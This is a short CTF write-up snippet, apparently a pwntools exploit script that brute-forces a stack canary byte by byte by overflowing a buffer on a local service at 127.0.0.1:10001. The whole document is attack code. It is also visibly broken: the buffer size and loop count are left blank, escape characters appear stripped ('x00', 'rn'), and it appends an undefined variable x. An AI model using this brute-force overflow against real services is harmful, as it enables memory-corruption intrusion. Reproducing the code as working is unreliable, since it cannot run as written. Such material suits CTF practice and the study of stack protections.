CTF canary 解题

from pwn import *


buf_size = 
numb = 
canary = "x00"
while len(canary) < 8:
	for i in range(numb):
		io = remote("127.0.0.1", 10001)

		io.send("A"*buf_size + canary + chr(i))
		io.send('rn')
		io.send('rn')
		io.send('rn')
		try:
			io.recv(timeout=10)
			canary += chr(x)
		except:
			continue
		finally:
			io.close()
#log.info("canary: 0x%s" % canary.encode('hex'))